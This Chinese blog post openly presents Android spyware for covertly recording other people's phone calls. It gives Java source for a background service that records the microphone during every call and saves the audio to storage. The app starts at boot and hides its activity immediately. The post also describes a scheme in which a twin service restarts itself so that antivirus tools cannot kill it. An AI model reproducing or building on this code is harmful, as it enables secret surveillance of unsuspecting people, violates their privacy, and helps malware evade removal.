美文网首页
Android来一发监听别人通话内容的App

Android来一发监听别人通话内容的App

作者: 那个唐僧 | 来源:发表于2018-01-03 17:31 被阅读94次

    原理

    在别人接打电话的过程中,进行录音.继而将录音保存在本地...

    知识点

    1,Service
    2,BroadcastReceiver
    3,TelephonyManager
    4,MediaRecorder

    实现

    public class MyService extends Service {
        private MediaRecorder mMediaRecorder;
        private TelephonyManager telephonyManager;
        private MyListener myListener;
    
        @Override
        public void onCreate() {
            telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
            myListener = new MyListener();
            telephonyManager.listen(myListener, PhoneStateListener.LISTEN_CALL_STATE);
            super.onCreate();
        }
    
        @Override
        public void onDestroy() {
            telephonyManager.listen(myListener, PhoneStateListener.LISTEN_NONE);
            myListener = null;
            Intent intent = new Intent();
            intent.setAction("com.scc.service1");
            intent.setPackage(getPackageName());
            startService(intent);
            super.onDestroy();
        }
    
        private class MyListener extends PhoneStateListener {
            @Override
            public void onCallStateChanged(int state, String incomingNumber) {
                switch (state) {
                    case TelephonyManager.CALL_STATE_IDLE:
                        if (mMediaRecorder != null) {
                            mMediaRecorder.stop();
                            mMediaRecorder.release();
                            mMediaRecorder = null;
                            Log.i("123", "录制完毕..");
                        }
                        break;
                    case TelephonyManager.CALL_STATE_OFFHOOK:
                        //1,实例化一个录音机
                        mMediaRecorder = new MediaRecorder();
                        //2,指定录音机的声音源
                        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                        //3,设置录制文件的输出格式
                        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
                        //4,指定输出的位置
                        File file = new File(Environment.getExternalStorageDirectory(), System.currentTimeMillis() + ".3gp");
                        mMediaRecorder.setOutputFile(file.getAbsolutePath());
                        //5.音频的编码
                        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
                        //6,准备录音
                        try {
                            mMediaRecorder.prepare();
                        } catch (IOException e) {
                            e.printStackTrace();
                        }
                        //7,开始录音
                        mMediaRecorder.start();
                        Log.e("123", "开始录音...");
                        break;
                }
            }
        }
        @Override
        public IBinder onBind(Intent intent) {
            return null;
        }
    }
    

    在MyService 中进行telephonyManager 的初始化...对PhoneStateListener 进行实现并且监听手机状态...
    如果电话目前是空闲状态将录音进行停止,并且释放资源
    如果电话目前是通话状态进行录音,并且保存在本地...
    在MainActivity当中只需要启动服务即可

    protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
    //        setContentView(R.layout.activity_main);
            Intent intent = new Intent();
            intent.setAction("com.scc.service");
            intent.setPackage(getPackageName());
            startService(intent);
            finish();
        }
    

    BroadcastReceiver中只需要在手机启动的时候进行监听广播,然后启动service即可

    public void onReceive(Context context, Intent intent) {
            Intent intent1 = new Intent();
            intent1.setAction("com.scc.service");
            intent1.setPackage(context.getPackageName());
            context.startService(intent1);
        }
    

    如何保证此监听别人打电话的程序不被杀死

    1,在手机启动时BroadcastReceiver监听启动之后..进行service的启动来保证后台服务可以一直持续的进行下去
    2,在各种杀毒软件杀掉service服务的时候此时我们的内心是崩溃的...因为我们的service被kill掉了...但是没有关系.在死掉的前一秒会有回光返照的...在死之前重新再启动一个相同的一模一样的service1..在service1即将要死的时候我们在启动service...如此饥渴保证总有service在后台监听着别人打电话的通话内容....
    3...如此...即可...

    相关文章

      网友评论

          本文标题:Android来一发监听别人通话内容的App

          本文链接:https://www.haomeiwen.com/subject/oafknxtx.html